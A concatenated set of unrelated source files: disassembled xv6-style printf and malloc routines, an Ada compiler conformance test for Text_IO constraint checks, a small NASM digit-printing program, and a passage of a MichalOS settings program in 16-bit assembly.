%edx,-0xe0(%rbp) 19b4: eb 12 jmp 19c8 <printf+0x200> 19b6: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax 19bd: 48 8d 50 08 lea 0x8(%rax),%rdx 19c1: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp) 19c8: 8b 10 mov (%rax),%edx 19ca: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 19d0: 89 d6 mov %edx,%esi 19d2: 89 c7 mov %eax,%edi 19d4: 48 b8 d0 16 00 00 00 movabs $0x16d0,%rax 19db: 00 00 00 19de: ff d0 callq *%rax break; 19e0: e9 b5 01 00 00 jmpq 1b9a <printf+0x3d2> case 'x': print_x32(fd, va_arg(ap, uint)); 19e5: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax 19eb: 83 f8 2f cmp $0x2f,%eax 19ee: 77 23 ja 1a13 <printf+0x24b> 19f0: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax 19f7: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 19fd: 89 d2 mov %edx,%edx 19ff: 48 01 d0 add %rdx,%rax 1a02: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 1a08: 83 c2 08 add $0x8,%edx 1a0b: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp) 1a11: eb 12 jmp 1a25 <printf+0x25d> 1a13: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax 1a1a: 48 8d 50 08 lea 0x8(%rax),%rdx 1a1e: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp) 1a25: 8b 10 mov (%rax),%edx 1a27: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1a2d: 89 d6 mov %edx,%esi 1a2f: 89 c7 mov %eax,%edi 1a31: 48 b8 73 16 00 00 00 movabs $0x1673,%rax 1a38: 00 00 00 1a3b: ff d0 callq *%rax break; 1a3d: e9 58 01 00 00 jmpq 1b9a <printf+0x3d2> case 'p': print_x64(fd, va_arg(ap, addr_t)); 1a42: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax 1a48: 83 f8 2f cmp $0x2f,%eax 1a4b: 77 23 ja 1a70 <printf+0x2a8> 1a4d: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax 1a54: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 1a5a: 89 d2 mov %edx,%edx 1a5c: 48 01 d0 add %rdx,%rax 1a5f: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 1a65: 83 c2 08 add $0x8,%edx 1a68: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp) 1a6e: eb 12 jmp 1a82 <printf+0x2ba> 1a70: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax 1a77: 48 8d 50 08 lea 0x8(%rax),%rdx 1a7b: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp) 1a82: 48 8b 10 mov (%rax),%rdx 1a85: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1a8b: 48 89 d6 mov %rdx,%rsi 1a8e: 89 c7 mov %eax,%edi 1a90: 48 b8 16 16 00 00 00 movabs $0x1616,%rax 1a97: 00 00 00 1a9a: ff d0 callq *%rax break; 1a9c: e9 f9 00 00 00 jmpq 1b9a <printf+0x3d2> case 's': if ((s = va_arg(ap, char*)) == 0) 1aa1: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax 1aa7: 83 f8 2f cmp $0x2f,%eax 1aaa: 77 23 ja 1acf <printf+0x307> 1aac: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax 1ab3: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 1ab9: 89 d2 mov %edx,%edx 1abb: 48 01 d0 add %rdx,%rax 1abe: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 1ac4: 83 c2 08 add $0x8,%edx 1ac7: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp) 1acd: eb 12 jmp 1ae1 <printf+0x319> 1acf: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax 1ad6: 48 8d 50 08 lea 0x8(%rax),%rdx 1ada: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp) 1ae1: 48 8b 00 mov (%rax),%rax 1ae4: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp) 1aeb: 48 83 bd 40 ff ff ff cmpq $0x0,-0xc0(%rbp) 1af2: 00 1af3: 75 41 jne 1b36 <printf+0x36e> s = "(null)"; 1af5: 48 b8 30 1f 00 00 00 movabs $0x1f30,%rax 1afc: 00 00 00 1aff: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp) while (*s) 1b06: eb 2e jmp 1b36 <printf+0x36e> putc(fd, *(s++)); 1b08: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax 1b0f: 48 8d 50 01 lea 0x1(%rax),%rdx 1b13: 48 89 95 40 ff ff ff mov %rdx,-0xc0(%rbp) 1b1a: 0f b6 00 movzbl (%rax),%eax 1b1d: 0f be d0 movsbl %al,%edx 1b20: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1b26: 89 d6 mov %edx,%esi 1b28: 89 c7 mov %eax,%edi 1b2a: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 1b31: 00 00 00 1b34: ff d0 callq *%rax while (*s) 1b36: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax 1b3d: 0f b6 00 movzbl (%rax),%eax 1b40: 84 c0 test %al,%al 1b42: 75 c4 jne 1b08 <printf+0x340> break; 1b44: eb 54 jmp 1b9a <printf+0x3d2> case '%': putc(fd, '%'); 1b46: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1b4c: be 25 00 00 00 mov $0x25,%esi 1b51: 89 c7 mov %eax,%edi 1b53: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 1b5a: 00 00 00 1b5d: ff d0 callq *%rax break; 1b5f: eb 39 jmp 1b9a <printf+0x3d2> default: // Print unknown % sequence to draw attention. putc(fd, '%'); 1b61: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1b67: be 25 00 00 00 mov $0x25,%esi 1b6c: 89 c7 mov %eax,%edi 1b6e: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 1b75: 00 00 00 1b78: ff d0 callq *%rax putc(fd, c); 1b7a: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax 1b80: 0f be d0 movsbl %al,%edx 1b83: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1b89: 89 d6 mov %edx,%esi 1b8b: 89 c7 mov %eax,%edi 1b8d: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 1b94: 00 00 00 1b97: ff d0 callq *%rax break; 1b99: 90 nop for (i = 0; (c = fmt[i] & 0xff) != 0; i++) { 1b9a: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp) 1ba1: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax 1ba7: 48 63 d0 movslq %eax,%rdx 1baa: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax 1bb1: 48 01 d0 add %rdx,%rax 1bb4: 0f b6 00 movzbl (%rax),%eax 1bb7: 0f be c0 movsbl %al,%eax 1bba: 25 ff 00 00 00 and $0xff,%eax 1bbf: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp) 1bc5: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp) 1bcc: 0f 85 8e fc ff ff jne 1860 <printf+0x98> } } } 1bd2: eb 01 jmp 1bd5 <printf+0x40d> break; 1bd4: 90 nop } 1bd5: 90 nop 1bd6: c9 leaveq 1bd7: c3 retq 0000000000001bd8 <free>: static Header base; static Header *freep; void free(void *ap) { 1bd8: f3 0f 1e fa endbr64 1bdc: 55 push %rbp 1bdd: 48 89 e5 mov %rsp,%rbp 1be0: 48 83 ec 18 sub $0x18,%rsp 1be4: 48 89 7d e8 mov %rdi,-0x18(%rbp) Header *bp, *p; bp = (Header*)ap - 1; 1be8: 48 8b 45 e8 mov -0x18(%rbp),%rax 1bec: 48 83 e8 10 sub $0x10,%rax 1bf0: 48 89 45 f0 mov %rax,-0x10(%rbp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1bf4: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax 1bfb: 00 00 00 1bfe: 48 8b 00 mov (%rax),%rax 1c01: 48 89 45 f8 mov %rax,-0x8(%rbp) 1c05: eb 2f jmp 1c36 <free+0x5e> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1c07: 48 8b 45 f8 mov -0x8(%rbp),%rax 1c0b: 48 8b 00 mov (%rax),%rax 1c0e: 48 39 45 f8 cmp %rax,-0x8(%rbp) 1c12: 72 17 jb 1c2b <free+0x53> 1c14: 48 8b 45 f0 mov -0x10(%rbp),%rax 1c18: 48 3b 45 f8 cmp -0x8(%rbp),%rax 1c1c: 77 2f ja 1c4d <free+0x75> 1c1e: 48 8b 45 f8 mov -0x8(%rbp),%rax 1c22: 48 8b 00 mov (%rax),%rax 1c25: 48 39 45 f0 cmp %rax,-0x10(%rbp) 1c29: 72 22 jb 1c4d <free+0x75> for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1c2b: 48 8b 45 f8 mov -0x8(%rbp),%rax 1c2f: 48 8b 00 mov (%rax),%rax 1c32: 48 89 45 f8 mov %rax,-0x8(%rbp) 1c36: 48 8b 45 f0 mov -0x10(%rbp),%rax 1c3a: 48 3b 45 f8 cmp -0x8(%rbp),%rax 1c3e: 76 c7 jbe 1c07 <free+0x2f> 1c40: 48 8b 45 f8 mov -0x8(%rbp),%rax 1c44: 48 8b 00 mov (%rax),%rax 1c47: 48 39 45 f0 cmp %rax,-0x10(%rbp) 1c4b: 73 ba jae 1c07 <free+0x2f> break; if(bp + bp->s.size == p->s.ptr){ 1c4d: 48 8b 45 f0 mov -0x10(%rbp),%rax 1c51: 8b 40 08 mov 0x8(%rax),%eax 1c54: 89 c0 mov %eax,%eax 1c56: 48 c1 e0 04 shl $0x4,%rax 1c5a: 48 89 c2 mov %rax,%rdx 1c5d: 48 8b 45 f0 mov -0x10(%rbp),%rax 1c61: 48 01 c2 add %rax,%rdx 1c64: 48 8b 45 f8 mov -0x8(%rbp),%rax 1c68: 48 8b 00 mov (%rax),%rax 1c6b: 48 39 c2 cmp %rax,%rdx 1c6e: 75 2d jne 1c9d <free+0xc5> bp->s.size += p->s.ptr->s.size; 1c70: 48 8b 45 f0 mov -0x10(%rbp),%rax 1c74: 8b 50 08 mov 0x8(%rax),%edx 1c77: 48 8b 45 f8 mov -0x8(%rbp),%rax 1c7b: 48 8b 00 mov (%rax),%rax 1c7e: 8b 40 08 mov 0x8(%rax),%eax 1c81: 01 c2 add %eax,%edx 1c83: 48 8b 45 f0 mov -0x10(%rbp),%rax 1c87: 89 50 08 mov %edx,0x8(%rax) bp->s.ptr = p->s.ptr->s.ptr; 1c8a: 48 8b 45 f8 mov -0x8(%rbp),%rax 1c8e: 48 8b 00 mov (%rax),%rax 1c91: 48 8b 10 mov (%rax),%rdx 1c94: 48 8b 45 f0 mov -0x10(%rbp),%rax 1c98: 48 89 10 mov %rdx,(%rax) 1c9b: eb 0e jmp 1cab <free+0xd3> } else bp->s.ptr = p->s.ptr; 1c9d: 48 8b 45 f8 mov -0x8(%rbp),%rax 1ca1: 48 8b 10 mov (%rax),%rdx 1ca4: 48 8b 45 f0 mov -0x10(%rbp),%rax 1ca8: 48 89 10 mov %rdx,(%rax) if(p + p->s.size == bp){ 1cab: 48 8b 45 f8 mov -0x8(%rbp),%rax 1caf: 8b 40 08 mov 0x8(%rax),%eax 1cb2: 89 c0 mov %eax,%eax 1cb4: 48 c1 e0 04 shl $0x4,%rax 1cb8: 48 89 c2 mov %rax,%rdx 1cbb: 48 8b 45 f8 mov -0x8(%rbp),%rax 1cbf: 48 01 d0 add %rdx,%rax 1cc2: 48 39 45 f0 cmp %rax,-0x10(%rbp) 1cc6: 75 27 jne 1cef <free+0x117> p->s.size += bp->s.size; 1cc8: 48 8b 45 f8 mov -0x8(%rbp),%rax 1ccc: 8b 50 08 mov 0x8(%rax),%edx 1ccf: 48 8b 45 f0 mov -0x10(%rbp),%rax 1cd3: 8b 40 08 mov 0x8(%rax),%eax 1cd6: 01 c2 add %eax,%edx 1cd8: 48 8b 45 f8 mov -0x8(%rbp),%rax 1cdc: 89 50 08 mov %edx,0x8(%rax) p->s.ptr = bp->s.ptr; 1cdf: 48 8b 45 f0 mov -0x10(%rbp),%rax 1ce3: 48 8b 10 mov (%rax),%rdx 1ce6: 48 8b 45 f8 mov -0x8(%rbp),%rax 1cea: 48 89 10 mov %rdx,(%rax) 1ced: eb 0b jmp 1cfa <free+0x122> } else p->s.ptr = bp; 1cef: 48 8b 45 f8 mov -0x8(%rbp),%rax 1cf3: 48 8b 55 f0 mov -0x10(%rbp),%rdx 1cf7: 48 89 10 mov %rdx,(%rax) freep = p; 1cfa: 48 ba a0 22 00 00 00 movabs $0x22a0,%rdx 1d01: 00 00 00 1d04: 48 8b 45 f8 mov -0x8(%rbp),%rax 1d08: 48 89 02 mov %rax,(%rdx) } 1d0b: 90 nop 1d0c: c9 leaveq 1d0d: c3 retq 0000000000001d0e <morecore>: static Header* morecore(uint nu) { 1d0e: f3 0f 1e fa endbr64 1d12: 55 push %rbp 1d13: 48 89 e5 mov %rsp,%rbp 1d16: 48 83 ec 20 sub $0x20,%rsp 1d1a: 89 7d ec mov %edi,-0x14(%rbp) char *p; Header *hp; if(nu < 4096) 1d1d: 81 7d ec ff 0f 00 00 cmpl $0xfff,-0x14(%rbp) 1d24: 77 07 ja 1d2d <morecore+0x1f> nu = 4096; 1d26: c7 45 ec 00 10 00 00 movl $0x1000,-0x14(%rbp) p = sbrk(nu * sizeof(Header)); 1d2d: 8b 45 ec mov -0x14(%rbp),%eax 1d30: 48 c1 e0 04 shl $0x4,%rax 1d34: 48 89 c7 mov %rax,%rdi 1d37: 48 b8 a1 15 00 00 00 movabs $0x15a1,%rax 1d3e: 00 00 00 1d41: ff d0 callq *%rax 1d43: 48 89 45 f8 mov %rax,-0x8(%rbp) if(p == (char*)-1) 1d47: 48 83 7d f8 ff cmpq $0xffffffffffffffff,-0x8(%rbp) 1d4c: 75 07 jne 1d55 <morecore+0x47> return 0; 1d4e: b8 00 00 00 00 mov $0x0,%eax 1d53: eb 36 jmp 1d8b <morecore+0x7d> hp = (Header*)p; 1d55: 48 8b 45 f8 mov -0x8(%rbp),%rax 1d59: 48 89 45 f0 mov %rax,-0x10(%rbp) hp->s.size = nu; 1d5d: 48 8b 45 f0 mov -0x10(%rbp),%rax 1d61: 8b 55 ec mov -0x14(%rbp),%edx 1d64: 89 50 08 mov %edx,0x8(%rax) free((void*)(hp + 1)); 1d67: 48 8b 45 f0 mov -0x10(%rbp),%rax 1d6b: 48 83 c0 10 add $0x10,%rax 1d6f: 48 89 c7 mov %rax,%rdi 1d72: 48 b8 d8 1b 00 00 00 movabs $0x1bd8,%rax 1d79: 00 00 00 1d7c: ff d0 callq *%rax return freep; 1d7e: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax 1d85: 00 00 00 1d88: 48 8b 00 mov (%rax),%rax } 1d8b: c9 leaveq 1d8c: c3 retq 0000000000001d8d <malloc>: void* malloc(uint nbytes) { 1d8d: f3 0f 1e fa endbr64 1d91: 55 push %rbp 1d92: 48 89 e5 mov %rsp,%rbp 1d95: 48 83 ec 30 sub $0x30,%rsp 1d99: 89 7d dc mov %edi,-0x24(%rbp) Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1d9c: 8b 45 dc mov -0x24(%rbp),%eax 1d9f: 48 83 c0 0f add $0xf,%rax 1da3: 48 c1 e8 04 shr $0x4,%rax 1da7: 83 c0 01 add $0x1,%eax 1daa: 89 45 ec mov %eax,-0x14(%rbp) if((prevp = freep) == 0){ 1dad: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax 1db4: 00 00 00 1db7: 48 8b 00 mov (%rax),%rax 1dba: 48 89 45 f0 mov %rax,-0x10(%rbp) 1dbe: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp) 1dc3: 75 4a jne 1e0f <malloc+0x82> base.s.ptr = freep = prevp = &base; 1dc5: 48 b8 90 22 00 00 00 movabs $0x2290,%rax 1dcc: 00 00 00 1dcf: 48 89 45 f0 mov %rax,-0x10(%rbp) 1dd3: 48 ba a0 22 00 00 00 movabs $0x22a0,%rdx 1dda: 00 00 00 1ddd: 48 8b 45 f0 mov -0x10(%rbp),%rax 1de1: 48 89 02 mov %rax,(%rdx) 1de4: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax 1deb: 00 00 00 1dee: 48 8b 00 mov (%rax),%rax 1df1: 48 ba 90 22 00 00 00 movabs $0x2290,%rdx 1df8: 00 00 00 1dfb: 48 89 02 mov %rax,(%rdx) base.s.size = 0; 1dfe: 48 b8 90 22 00 00 00 movabs $0x2290,%rax 1e05: 00 00 00 1e08: c7 40 08 00 00 00 00 movl $0x0,0x8(%rax) } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1e0f: 48 8b 45 f0 mov -0x10(%rbp),%rax 1e13: 48 8b 00 mov (%rax),%rax 1e16: 48 89 45 f8 mov %rax,-0x8(%rbp) if(p->s.size >= nunits){ 1e1a: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e1e: 8b 40 08 mov 0x8(%rax),%eax 1e21: 39 45 ec cmp %eax,-0x14(%rbp) 1e24: 77 65 ja 1e8b <malloc+0xfe> if(p->s.size == nunits) 1e26: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e2a: 8b 40 08 mov 0x8(%rax),%eax 1e2d: 39 45 ec cmp %eax,-0x14(%rbp) 1e30: 75 10 jne 1e42 <malloc+0xb5> prevp->s.ptr = p->s.ptr; 1e32: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e36: 48 8b 10 mov (%rax),%rdx 1e39: 48 8b 45 f0 mov -0x10(%rbp),%rax 1e3d: 48 89 10 mov %rdx,(%rax) 1e40: eb 2e jmp 1e70 <malloc+0xe3> else { p->s.size -= nunits; 1e42: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e46: 8b 40 08 mov 0x8(%rax),%eax 1e49: 2b 45 ec sub -0x14(%rbp),%eax 1e4c: 89 c2 mov %eax,%edx 1e4e: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e52: 89 50 08 mov %edx,0x8(%rax) p += p->s.size; 1e55: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e59: 8b 40 08 mov 0x8(%rax),%eax 1e5c: 89 c0 mov %eax,%eax 1e5e: 48 c1 e0 04 shl $0x4,%rax 1e62: 48 01 45 f8 add %rax,-0x8(%rbp) p->s.size = nunits; 1e66: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e6a: 8b 55 ec mov -0x14(%rbp),%edx 1e6d: 89 50 08 mov %edx,0x8(%rax) } freep = prevp; 1e70: 48 ba a0 22 00 00 00 movabs $0x22a0,%rdx 1e77: 00 00 00 1e7a: 48 8b 45 f0 mov -0x10(%rbp),%rax 1e7e: 48 89 02 mov %rax,(%rdx) return (void*)(p + 1); 1e81: 48 8b 45 f8 mov -0x8(%rbp),%rax 1e85: 48 83 c0 10 add $0x10,%rax 1e89: eb 4e jmp 1ed9 <malloc+0x14c> } if(p == freep) 1e8b: 48 b8 a0 22 00 00 00 movabs $0x22a0,%rax 1e92: 00 00 00 1e95: 48 8b 00 mov (%rax),%rax 1e98: 48 39 45 f8 cmp %rax,-0x8(%rbp) 1e9c: 75 23 jne 1ec1 <malloc+0x134> if((p = morecore(nunits)) == 0) 1e9e: 8b 45 ec mov -0x14(%rbp),%eax 1ea1: 89 c7 mov %eax,%edi 1ea3: 48 b8 0e 1d 00 00 00 movabs $0x1d0e,%rax 1eaa: 00 00 00 1ead: ff d0 callq *%rax 1eaf: 48 89 45 f8 mov %rax,-0x8(%rbp) 1eb3: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) 1eb8: 75 07 jne 1ec1 <malloc+0x134> return 0; 1eba: b8 00 00 00 00 mov $0x0,%eax 1ebf: eb 18 jmp 1ed9 <malloc+0x14c> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1ec1: 48 8b 45 f8 mov -0x8(%rbp),%rax 1ec5: 48 89 45 f0 mov %rax,-0x10(%rbp) 1ec9: 48 8b 45 f8 mov -0x8(%rbp),%rax 1ecd: 48 8b 00 mov (%rax),%rax 1ed0: 48 89 45 f8 mov %rax,-0x8(%rbp) if(p->s.size >= nunits){ 1ed4: e9 41 ff ff ff jmpq 1e1a <malloc+0x8d> } } 1ed9: c9 leaveq 1eda: c3 retq
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/ce/ce3306a.ada
best08618/asylo
7
5657
<reponame>best08618/asylo<filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/ce/ce3306a.ada -- CE3306A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT CONSTRAINT_ERROR IS RAISED IF THE VALUE OF 'TO' IS -- NEGATIVE OR GREATER THAN COUNT'LAST WHEN COUNT'LAST IS LESS THAN -- COUNT'BASE'LAST. -- HISTORY: -- JET 08/17/88 CREATED ORIGINAL TEST. -- PWN 10/27/95 REMOVED CONSTRAINT CHECK THAT NOW HAPPENS AT -- COMPILE TIME. WITH REPORT; USE REPORT; WITH TEXT_IO; USE TEXT_IO; PROCEDURE CE3306A IS BEGIN TEST ("CE3306A", "CHECK THAT CONSTRAINT_ERROR IS RAISED IF THE " & "VALUE OF 'TO' IS NEGATIVE OR GREATER THAN " & "COUNT'LAST WHEN COUNT'LAST IS LESS THAN " & "COUNT'BASE'LAST"); BEGIN SET_LINE_LENGTH(-1); FAILED("NO EXCEPTION FOR SET_LINE_LENGTH(-1)"); EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED("UNEXPECTED EXCEPTION FOR SET_LINE_LENGTH(-1)"); END; BEGIN SET_PAGE_LENGTH(COUNT(IDENT_INT(-1))); FAILED("NO EXCEPTION FOR SET_PAGE_LENGTH(-1)"); EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED("UNEXPECTED EXCEPTION FOR SET_PAGE_LENGTH(-1)"); END; IF COUNT'LAST < COUNT'BASE'LAST THEN BEGIN SET_LINE_LENGTH(COUNT'LAST + COUNT(IDENT_INT(1))); FAILED("NO EXCEPTION FOR SET_LINE_LENGTH(COUNT'LAST+1)"); EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED("UNEXPECTED EXCEPTION FOR SET_LINE_LENGTH" & "(COUNT'LAST+1)"); END; ELSE COMMENT("COUNT'LAST IS EQUAL TO COUNT'BASE'LAST"); END IF; RESULT; END CE3306A;
simple_asm/print_angka_multidigit.asm
AdityaFitrianaNS/Assembly
2
162794
<filename>simple_asm/print_angka_multidigit.asm ;program untuk print angka lebih dari 1 digit ;algoritma nya adalah dibagi dulu setelah itu assign hasil bagi tersebut ke beberapa variable ;untuk lebih jelasnya silahkan kunjungi link berikut: ;link: https://pvk.ca/Blog/2017/12/22/appnexus-common-framework-its-out-also-how-to-print-integers-faster/ section .data num dd 79000 section .bss ;variable untuk mendapatkan jumlah digit counter resb 1 section .text global _start _start: get_digit: ;increment digit ketika looping mov eax,[counter] inc eax mov [counter],eax ; initial value yang akan di bagi mov edx, 0 mov eax, [num] mov ecx, 10 ;bagi nilai yang variable num sekarang div ecx ;convert ke ascii nilai mod yang didapat dari pembagian dan push ke stack add edx, byte '0' push edx ;memperbarui nilai variable num dengan nilai baru hasil pembagian mov [num],eax ;check apakah nilai variable num sekarang besar dari 10 jika iya looping kembali mov eax,[num] cmp eax,10 jg get_digit ;ketika variable num sudah bernilai 10, ambil hasil bagi di num sekarang dan push ke stack add [num], byte '0' mov eax, [num] push eax ;print angka yang sudah di push ke stack print_number: mov eax,4 ;sys_write mov ebx,1 ;file descriptor std_out mov ecx,esp mov edx,1 int 0x80 ;pop esp untuk mendapatkan nilai valu ascii selanjutnya add esp,4 ;decrement valu counter yang didapatkan sebelumnya mov ecx,[counter] dec ecx mov [counter],ecx ;compare counter untuk kondisi loop cmp ecx,0 jge print_number ;sys_exit kernel mov eax,1 mov ebx,0 int 0x80
programs/config.asm
mynameispyo/InpyoOS
0
26638
; ------------------------------------------------------------------ ; MichalOS Configuration ; ------------------------------------------------------------------ ; SYSTEM.CFG map: ; 0 = Desktop background color (BYTE) ; 1 = Window background color (BYTE) ; 2 = Password enabled (BYTE) ; 3 - 35 = Password data (STRING, 32 chars + '\0') ; 36 - 68 = Username (STRING, 32 chars + '\0') ; 69 - Sound enabled on startup (BYTE) ; 70 - Free space ; 71 - Menu screen dimming enabled (BYTE) ; 72 - Menu color (BYTE) ; 73 - "DOS" font enabled (BYTE) ; 74 - Minutes to wait for screensaver (BYTE) ; 75 - Free space ; 76 - Graphics mode enabled (BYTE) ; 77 - AdLib address register (WORD) ; 79 - Adlib data register (WORD) ; 81 - Minute time offset (WORD) BITS 16 %INCLUDE "osdev.inc" ORG 100h start: call .draw_background mov ax, .command_list ; Draw list of settings mov bx, .help_msg1 mov cx, .help_msg2 call os_list_dialog jc near .exit ; User pressed Esc? cmp ax, 1 je near .look cmp ax, 2 je near .sound cmp ax, 3 je near .password cmp ax, 4 je near .timezone .look: call .draw_background mov ax, .look_list ; Draw list of settings mov bx, .help_msg1 mov cx, .help_msg2 call os_list_dialog jc near start ; User pressed Esc? cmp ax, 1 je near .bg_change cmp ax, 2 je near .bg_img_change cmp ax, 3 je near .bg_img_reset cmp ax, 4 je near .window_change cmp ax, 5 je near .menu_change cmp ax, 6 je near .screensaver_settings cmp ax, 7 je near .font_change cmp ax, 8 je near .enable_dimming cmp ax, 9 je near .disable_dimming cmp ax, 10 je near .img_help .bg_img_reset: mov ax, .bg_name call os_remove_file mov byte [fs:7100h], 0 mov ax, .changedone mov bx, 0 mov cx, 0 mov dx, 0 call os_dialog_box jmp .look .bg_img_change: mov byte [0087h], 1 mov bx, .extension_number call os_file_selector ; Get filename mov byte [0087h], 0 jc .look mov cx, buffer call os_load_file pusha push es mov es, [driversgmt] mov di, 7100h mov si, buffer mov cx, 1840 rep movsw pop es popa xchg cx, bx mov ax, .bg_name call os_remove_file call os_write_file jc .write_error2 mov ax, .changedone mov bx, 0 mov cx, 0 mov dx, 0 call os_dialog_box jmp .look .write_error2: mov ax, .errmsg1 mov bx, .errmsg2 mov cx, 0 mov dx, 0 call os_dialog_box jmp .look .img_help: mov ax, .imghelp1 mov bx, .imghelp2 mov cx, .imghelp3 mov dx, 0 call os_dialog_box jmp .look .enable_dimming: mov byte [57071], 1 call .update_config jmp .look .disable_dimming: mov byte [57071], 0 call .update_config jmp .look .enable_graphics: mov byte [57076], 1 call .update_config jmp .look .enable_text_mode: mov byte [57076], 0 call .update_config jmp .look .screensaver_settings: call .draw_background mov ax, .screensaver_list mov bx, .help_msg1 mov cx, .help_msg2 call os_list_dialog jc .look cmp ax, 1 je near .disable_screensaver cmp ax, 2 je near .screensaver_change_time .disable_screensaver: mov word [57074], 0 call .update_config jmp .screensaver_settings .screensaver_change_time: call .draw_background mov ax, buffer mov bx, .screensaver_msg call os_input_dialog mov si, buffer call os_string_to_int cmp ax, 30 jg .screensaver_error mov [57074], al call .update_config jmp .screensaver_settings .screensaver_error: mov ax, .scrnsaveerr mov bx, 0 mov cx, 0 mov dx, 0 call os_dialog_box jmp .screensaver_settings .font_change: call .draw_background mov ax, .font_list ; Draw list of settings mov bx, .help_msg1 mov cx, .help_msg2 call os_list_dialog jc near .look ; User pressed Esc? cmp ax, 1 je near .michalos_font cmp ax, 2 je near .bios_font .michalos_font: mov byte [57073], 0 call .update_config call os_reset_font jmp .look .bios_font: mov byte [57073], 1 call .update_config mov ax, 3 int 10h mov ax, 1003h ; Set text output with certain attributes mov bx, 0 ; to be bright, and not blinking int 10h jmp .look .menu_change: call os_color_selector jc .look cmp al, 14 jg .menu_confirm add al, 0F0h .menu_confirm: rol al, 4 mov [57072], al call .update_config jmp .look .bg_change: call os_color_selector jc .look cmp al, 9 jge .bg_confirm add al, 0F0h .bg_confirm: rol al, 4 mov [57000], al call .update_config jmp .look .window_change: call os_color_selector jc .look cmp al, 9 jge .window_confirm add al, 240 .window_confirm: rol al, 4 mov [57001], al call .update_config jmp .look .timezone: call .draw_background mov ax, buffer mov bx, .time_msg call os_input_dialog mov si, buffer cmp byte [si], '-' je .negative_timezone call os_string_to_int mov [57081], ax call .update_config jmp start .negative_timezone: inc si 